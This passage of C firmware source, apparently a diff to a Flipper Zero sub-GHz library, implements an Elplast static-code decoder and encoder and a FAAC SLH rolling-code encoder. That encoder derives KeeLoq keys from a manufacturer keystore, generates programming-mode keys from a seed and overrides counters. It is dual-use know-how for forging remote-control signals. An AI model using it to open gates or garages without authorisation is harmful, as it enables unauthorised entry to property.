.alloc = subghz_protocol_encoder_elplast_alloc,
.free = subghz_protocol_encoder_elplast_free,
.deserialize = subghz_protocol_encoder_elplast_deserialize,
.stop = subghz_protocol_encoder_elplast_stop,
.yield = subghz_protocol_encoder_elplast_yield,
};
const SubGhzProtocol subghz_protocol_elplast = {
.name = SUBGHZ_PROTOCOL_ELPLAST_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_elplast_decoder,
.encoder = &subghz_protocol_elplast_encoder,
};
void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderElplast* instance = malloc(sizeof(SubGhzProtocolEncoderElplast));
instance->base.protocol = &subghz_protocol_elplast;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 64;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_elplast_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderElplast* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderElplast instance
*/
static void subghz_protocol_encoder_elplast_get_upload(SubGhzProtocolEncoderElplast* instance) {
furi_assert(instance);
size_t index = 0;
// Send key and GAP
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
// Send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_long);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_short);
}
} else {
// Send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_elplast_const.te_short);
if(i == 1) {
//Send gap if bit was last
instance->encoder.upload[index++] = level_duration_make(
false, (uint32_t)subghz_protocol_elplast_const.te_long * 8);
} else {
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_elplast_const.te_long);
}
}
}
instance->encoder.size_upload = index;
return;
}
SubGhzProtocolStatus
subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderElplast* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_elplast_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_encoder_elplast_get_upload(instance);
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_elplast_stop(void* context) {
SubGhzProtocolEncoderElplast* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_elplast_yield(void* context) {
SubGhzProtocolEncoderElplast* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderElplast* instance = malloc(sizeof(SubGhzProtocolDecoderElplast));
instance->base.protocol = &subghz_protocol_elplast;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_elplast_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
free(instance);
}
void subghz_protocol_decoder_elplast_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
instance->decoder.parser_step = ElplastDecoderStepReset;
}
void subghz_protocol_decoder_elplast_feed(void* context, bool level, volatile uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
// Elplast/P-11B/3BK/E.C.A Decoder
// 2025.09 - @xMasterX (MMX)
// Key samples
// 00110010110000001010 = 32C0A
// 00110010110010000010 = 32C82
switch(instance->decoder.parser_step) {
case ElplastDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
subghz_protocol_elplast_const.te_delta * 13)) {
//Found GAP
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
}
break;
case ElplastDecoderStepSaveDuration:
if(level) {
instance->decoder.te_last = duration;
instance->decoder.parser_step = ElplastDecoderStepCheckDuration;
} else {
instance->decoder.parser_step = ElplastDecoderStepReset;
}
break;
case ElplastDecoderStepCheckDuration:
if(!level) {
// Bit 1 is long and short timing = 1550us HIGH (te_last) and 230us LOW
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
subghz_protocol_elplast_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_elplast_const.te_short) <
subghz_protocol_elplast_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
// Bit 0 is short and long timing = 230us HIGH (te_last) and 1550us LOW
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
subghz_protocol_elplast_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long) <
subghz_protocol_elplast_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = ElplastDecoderStepSaveDuration;
} else if(
// End of the key
DURATION_DIFF(duration, subghz_protocol_elplast_const.te_long * 8) <
subghz_protocol_elplast_const.te_delta * 13) {
//Found next GAP and add bit 0 or 1 (only bit 0 was found on the remotes)
if((DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_elplast_const.te_long) <
subghz_protocol_elplast_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
}
if((DURATION_DIFF(
instance->decoder.te_last, subghz_protocol_elplast_const.te_short) <
subghz_protocol_elplast_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
}
// If got 18 bits key reading is finished
if(instance->decoder.decode_count_bit ==
subghz_protocol_elplast_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = ElplastDecoderStepReset;
} else {
instance->decoder.parser_step = ElplastDecoderStepReset;
}
} else {
instance->decoder.parser_step = ElplastDecoderStepReset;
}
break;
}
}
uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_elplast_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderElplast* instance = context;
uint64_t code_found_reverse = subghz_protocol_blocks_reverse_key(
instance->generic.data, instance->generic.data_count_bit);
uint32_t code_found_reverse_lo = code_found_reverse & 0x000003ffffffffff;
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key: 0x%05lX\r\n"
"Yek: 0x%05lX",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data & 0xFFFFFF),
code_found_reverse_lo);
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_ELPLAST_NAME "Elplast"
typedef struct SubGhzProtocolDecoderElplast SubGhzProtocolDecoderElplast;
typedef struct SubGhzProtocolEncoderElplast SubGhzProtocolEncoderElplast;
extern const SubGhzProtocolDecoder subghz_protocol_elplast_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_elplast_encoder;
extern const SubGhzProtocol subghz_protocol_elplast;
/**
* Allocate SubGhzProtocolEncoderElplast.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderElplast* pointer to a SubGhzProtocolEncoderElplast instance
*/
void* subghz_protocol_encoder_elplast_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderElplast.
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
*/
void subghz_protocol_encoder_elplast_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
*/
void subghz_protocol_encoder_elplast_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderElplast instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_elplast_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderElplast.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderElplast* pointer to a SubGhzProtocolDecoderElplast instance
*/
void* subghz_protocol_decoder_elplast_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderElplast.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
*/
void subghz_protocol_decoder_elplast_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderElplast.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
*/
void subghz_protocol_decoder_elplast_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_elplast_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_elplast_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderElplast.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_elplast_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderElplast.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_elplast_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderElplast instance
* @param output Resulting text
*/
void subghz_protocol_decoder_elplast_get_string(void* context, FuriString* output);
@@ -0,0 +1,795 @@
#include "faac_slh.h"
#include "../subghz_keystore.h"
#include <m-array.h>
#include "keeloq_common.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
#include <lib/subghz/blocks/custom_btn_i.h>
#define TAG "SubGhzProtocolFaacSLH"
static const SubGhzBlockConst subghz_protocol_faac_slh_const = {
.te_short = 255,
.te_long = 595,
.te_delta = 100,
.min_count_bit_for_found = 64,
};
static uint32_t temp_fix_backup = 0;
static uint32_t temp_counter_backup = 0;
static bool faac_prog_mode = false;
static bool allow_zero_seed = false;
void faac_slh_reset_prog_mode(void) {
temp_fix_backup = 0;
temp_counter_backup = 0;
faac_prog_mode = false;
allow_zero_seed = false;
}
struct SubGhzProtocolDecoderFaacSLH {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
SubGhzKeystore* keystore;
const char* manufacture_name;
};
struct SubGhzProtocolEncoderFaacSLH {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
SubGhzKeystore* keystore;
const char* manufacture_name;
};
typedef enum {
FaacSLHDecoderStepReset = 0,
FaacSLHDecoderStepFoundPreambula,
FaacSLHDecoderStepSaveDuration,
FaacSLHDecoderStepCheckDuration,
} FaacSLHDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_faac_slh_decoder = {
.alloc = subghz_protocol_decoder_faac_slh_alloc,
.free = subghz_protocol_decoder_faac_slh_free,
.feed = subghz_protocol_decoder_faac_slh_feed,
.reset = subghz_protocol_decoder_faac_slh_reset,
.get_hash_data = subghz_protocol_decoder_faac_slh_get_hash_data,
.serialize = subghz_protocol_decoder_faac_slh_serialize,
.deserialize = subghz_protocol_decoder_faac_slh_deserialize,
.get_string = subghz_protocol_decoder_faac_slh_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_faac_slh_encoder = {
.alloc = subghz_protocol_encoder_faac_slh_alloc,
.free = subghz_protocol_encoder_faac_slh_free,
.deserialize = subghz_protocol_encoder_faac_slh_deserialize,
.stop = subghz_protocol_encoder_faac_slh_stop,
.yield = subghz_protocol_encoder_faac_slh_yield,
};
const SubGhzProtocol subghz_protocol_faac_slh = {
.name = SUBGHZ_PROTOCOL_FAAC_SLH_NAME,
.type = SubGhzProtocolTypeDynamic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_AM |
SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save |
SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_faac_slh_decoder,
.encoder = &subghz_protocol_faac_slh_encoder,
};
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
* @param keystore Pointer to a SubGhzKeystore* instance
* @param manufacture_name
*/
static void subghz_protocol_faac_slh_check_remote_controller(
SubGhzBlockGeneric* instance,
SubGhzKeystore* keystore,
const char** manufacture_name);
void* subghz_protocol_encoder_faac_slh_alloc(SubGhzEnvironment* environment) {
SubGhzProtocolEncoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolEncoderFaacSLH));
instance->base.protocol = &subghz_protocol_faac_slh;
instance->generic.protocol_name = instance->base.protocol->name;
instance->keystore = subghz_environment_get_keystore(environment);
instance->encoder.repeat = 3;
instance->encoder.size_upload = 256;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_faac_slh_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderFaacSLH* instance = context;
free(instance->encoder.upload);
free(instance);
}
static bool subghz_protocol_faac_slh_gen_data(SubGhzProtocolEncoderFaacSLH* instance) {
// override button if we change it with signal settings button editor
// else work as standart
if(subghz_block_generic_global_button_override_get(&instance->generic.btn)) {
FURI_LOG_D(TAG, "Button sucessfully changed to 0x%X", instance->generic.btn);
} else {
// TODO: Stupid bypass for custom button, remake later
if(subghz_custom_btn_get_original() == 0) {
// subghz_custom_btn_set_original(0xF);
}
uint8_t custom_btn_id = subghz_custom_btn_get();
// If we are using UP button - generate programming mode key and send it, otherwise - send regular key if possible
if((custom_btn_id == SUBGHZ_CUSTOM_BTN_UP) &&
!(!allow_zero_seed && (instance->generic.seed == 0x0))) {
uint8_t data_tmp = 0;
uint8_t data_prg[8];
data_prg[0] = 0x00;
if(allow_zero_seed || (instance->generic.seed != 0x0)) {
// check OFEX mode
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
0xFFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
// TODO: OFEX mode
instance->generic.cnt += 1;
}
if(temp_counter_backup != 0x0) {
// check OFEX mode
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(
&temp_counter_backup)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((temp_counter_backup + furi_hal_subghz_get_rolling_counter_mult()) >
0xFFFFF) {
temp_counter_backup = 0;
} else {
temp_counter_backup += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
// todo OFEX mode
temp_counter_backup += 1;
}
}
}
data_prg[1] = instance->generic.cnt & 0xFF;
data_prg[2] = (uint8_t)(instance->generic.seed & 0xFF);
data_prg[3] = (uint8_t)(instance->generic.seed >> 8 & 0xFF);
data_prg[4] = (uint8_t)(instance->generic.seed >> 16 & 0xFF);
data_prg[5] = (uint8_t)(instance->generic.seed >> 24);
data_prg[2] ^= data_prg[1];
data_prg[3] ^= data_prg[1];
data_prg[4] ^= data_prg[1];
data_prg[5] ^= data_prg[1];
for(uint8_t i = data_prg[1] & 0x0F; i != 0; i--) {
data_tmp = data_prg[5];
data_prg[5] = ((data_prg[5] << 1) & 0xFF) | (data_prg[4] & 0x80) >> 7;
data_prg[4] = ((data_prg[4] << 1) & 0xFF) | (data_prg[3] & 0x80) >> 7;
data_prg[3] = ((data_prg[3] << 1) & 0xFF) | (data_prg[2] & 0x80) >> 7;
data_prg[2] = ((data_prg[2] << 1) & 0xFF) | (data_tmp & 0x80) >> 7;
}
data_prg[6] = 0x0F;
data_prg[7] = 0x52;
uint32_t enc_prg_1 = data_prg[7] << 24 | data_prg[6] << 16 | data_prg[5] << 8 |
data_prg[4];
uint32_t enc_prg_2 = data_prg[3] << 24 | data_prg[2] << 16 | data_prg[1] << 8 |
data_prg[0];
instance->generic.data = (uint64_t)enc_prg_1 << 32 | enc_prg_2;
//FURI_LOG_D(TAG, "New Prog Mode Key Generated: %016llX\r", instance->generic.data);
return true;
} else {
if(!allow_zero_seed && (instance->generic.seed == 0x0)) {
// Do not generate new data, send data from buffer
return true;
}
// If we are in prog mode and regular Send button is used - Do not generate new data, send data from buffer
if((faac_prog_mode == true) && (instance->generic.serial == 0x0) &&
(instance->generic.btn == 0x0) && (temp_fix_backup == 0x0)) {
return true;
}
}
// Restore main remote data when we exit programming mode
if((instance->generic.serial == 0x0) && (instance->generic.btn == 0x0) &&
(temp_fix_backup != 0x0) && !faac_prog_mode) {
instance->generic.serial = temp_fix_backup >> 4;
instance->generic.btn = temp_fix_backup & 0xF;
if(temp_counter_backup != 0x0) {
instance->generic.cnt = temp_counter_backup;
}
}
}
uint32_t fix = instance->generic.serial << 4 | instance->generic.btn;
uint32_t hop = 0;
uint32_t decrypt = 0;
uint64_t man = 0;
int res = 0;
char fixx[8] = {};
int shiftby = 32;
for(int i = 0; i < 8; i++) {
fixx[i] = (fix >> (shiftby -= 4)) & 0xF;
}
if(allow_zero_seed || (instance->generic.seed != 0x0)) {
// check OFEX mode
if(furi_hal_subghz_get_rolling_counter_mult() != -0x7FFFFFFF) {
// standart counter mode. PULL data from subghz_block_generic_global variables
if(!subghz_block_generic_global_counter_override_get(&instance->generic.cnt)) {
// if counter_override_get return FALSE then counter was not changed and we increase counter by standart mult value
if((instance->generic.cnt + furi_hal_subghz_get_rolling_counter_mult()) >
0xFFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += furi_hal_subghz_get_rolling_counter_mult();
}
}
} else {
// OFEX mode
if(instance->generic.cnt < 0xFFFFF) {
if((instance->generic.cnt + 0xFFFFF) > 0xFFFFF) {
instance->generic.cnt = 0;
} else {
instance->generic.cnt += 0xFFFFF;
}
} else if(
(instance->generic.cnt >= 0xFFFFF) &&
(furi_hal_subghz_get_rolling_counter_mult() != 0)) {
instance->generic.cnt = 0;
}
}
}
if((instance->generic.cnt % 2) == 0) {
decrypt = fixx[6] << 28 | fixx[7] << 24 | fixx[5] << 20 |
(instance->generic.cnt & 0xFFFFF);
} else {
decrypt = fixx[2] << 28 | fixx[3] << 24 | fixx[4] << 20 |
(instance->generic.cnt & 0xFFFFF);
}
for
M_EACH(manufacture_code, *subghz_keystore_get_data(instance->keystore), SubGhzKeyArray_t) {
res = strcmp(furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
if(res == 0) {
switch(manufacture_code->type) {
case KEELOQ_LEARNING_FAAC:
//FAAC Learning
man = subghz_protocol_keeloq_common_faac_learning(
instance->generic.seed, manufacture_code->key);
hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
break;
}
break;
}
}
if(hop) {
instance->generic.data = (uint64_t)fix << 32 | hop;
}
return true;
}
bool subghz_protocol_faac_slh_create_data(
void* context,
FlipperFormat* flipper_format,
uint32_t serial,
uint8_t btn,
uint32_t cnt,
uint32_t seed,
const char* manufacture_name,
SubGhzRadioPreset* preset) {
furi_assert(context);
// OwO
SubGhzProtocolEncoderFaacSLH* instance = context;
instance->generic.serial = serial;
instance->generic.btn = btn;
instance->generic.cnt = (cnt & 0xFFFFF);
instance->generic.seed = seed;
instance->manufacture_name = manufacture_name;
instance->generic.data_count_bit = 64;
allow_zero_seed = true;
bool res = subghz_protocol_faac_slh_gen_data(instance);
if(res) {
return SubGhzProtocolStatusOk ==
subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
return res;
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderFaacSLH instance
* @return true On success
*/
static bool subghz_protocol_encoder_faac_slh_get_upload(SubGhzProtocolEncoderFaacSLH* instance) {
furi_assert(instance);
subghz_protocol_faac_slh_gen_data(instance);
size_t index = 0;
size_t size_upload = 2 + (instance->generic.data_count_bit * 2);
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long * 2);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_faac_slh_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_faac_slh_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_faac_slh_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderFaacSLH* instance = context;
SubGhzProtocolStatus res = SubGhzProtocolStatusError;
do {
if(SubGhzProtocolStatusOk !=
subghz_block_generic_deserialize(&instance->generic, flipper_format)) {
FURI_LOG_E(TAG, "Deserialize error");
break;
}
uint8_t seed_data[sizeof(uint32_t)] = {0};
for(size_t i = 0; i < sizeof(uint32_t); i++) {
seed_data[sizeof(uint32_t) - i - 1] = (instance->generic.seed >> i * 8) & 0xFF;
}
if(!flipper_format_read_hex(flipper_format, "Seed", seed_data, sizeof(uint32_t))) {
FURI_LOG_E(TAG, "Missing Seed");
break;
}
bool tmp_allow_zero_seed;
if(flipper_format_read_bool(flipper_format, "AllowZeroSeed", &tmp_allow_zero_seed, 1)) {
allow_zero_seed = true;
} else {
allow_zero_seed = false;
}
instance->generic.seed = seed_data[0] << 24 | seed_data[1] << 16 | seed_data[2] << 8 |
seed_data[3];
subghz_protocol_faac_slh_check_remote_controller(
&instance->generic, instance->keystore, &instance->manufacture_name);
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
subghz_protocol_encoder_faac_slh_get_upload(instance);
if(!flipper_format_rewind(flipper_format)) {
FURI_LOG_E(TAG, "Rewind error");
break;
}
uint8_t key_data[sizeof(uint64_t)] = {0};
for(size_t i = 0; i < sizeof(uint64_t); i++) {
key_data[sizeof(uint64_t) - i - 1] = (instance->generic.data >> i * 8) & 0xFF;
}
if(!flipper_format_update_hex(flipper_format, "Key", key_data, sizeof(uint64_t))) {
FURI_LOG_E(TAG, "Unable to add Key");
break;
}
instance->encoder.is_running = true;
res = SubGhzProtocolStatusOk;
} while(false);
return res;
}
void subghz_protocol_encoder_faac_slh_stop(void* context) {
SubGhzProtocolEncoderFaacSLH* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_faac_slh_yield(void* context) {
SubGhzProtocolEncoderFaacSLH* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_faac_slh_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderFaacSLH* instance = malloc(sizeof(SubGhzProtocolDecoderFaacSLH));
instance->base.protocol = &subghz_protocol_faac_slh;
instance->generic.protocol_name = instance->base.protocol->name;
instance->keystore = subghz_environment_get_keystore(environment);
return instance;
}
void subghz_protocol_decoder_faac_slh_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
free(instance);
}
void subghz_protocol_decoder_faac_slh_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
instance->decoder.parser_step = FaacSLHDecoderStepReset;
}
void subghz_protocol_decoder_faac_slh_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderFaacSLH* instance = context;
switch(instance->decoder.parser_step) {
case FaacSLHDecoderStepReset:
if((level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
subghz_protocol_faac_slh_const.te_delta * 3)) {
instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
}
break;
case FaacSLHDecoderStepFoundPreambula:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long * 2) <
subghz_protocol_faac_slh_const.te_delta * 3)) {
//Found Preambula
instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = FaacSLHDecoderStepReset;
}
break;
case FaacSLHDecoderStepSaveDuration:
if(level) {
if(duration >= ((uint32_t)subghz_protocol_faac_slh_const.te_short * 3 +
subghz_protocol_faac_slh_const.te_delta)) {
instance->decoder.parser_step = FaacSLHDecoderStepFoundPreambula;
if(instance->decoder.decode_count_bit ==
subghz_protocol_faac_slh_const.min_count_bit_for_found) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
break;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = FaacSLHDecoderStepCheckDuration;
}
} else {
instance->decoder.parser_step = FaacSLHDecoderStepReset;
}
break;
case FaacSLHDecoderStepCheckDuration:
if(!level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_short) <
subghz_protocol_faac_slh_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_long) <
subghz_protocol_faac_slh_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_faac_slh_const.te_long) <
subghz_protocol_faac_slh_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_faac_slh_const.te_short) <
subghz_protocol_faac_slh_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = FaacSLHDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = FaacSLHDecoderStepReset;
}
} else {
instance->decoder.parser_step = FaacSLHDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
* @param keystore Pointer to a SubGhzKeystore* instance
* @param manifacture_name Manufacturer name
*/
static void subghz_protocol_faac_slh_check_remote_controller(
SubGhzBlockGeneric* instance,
SubGhzKeystore* keystore,
const char** manufacture_name) {
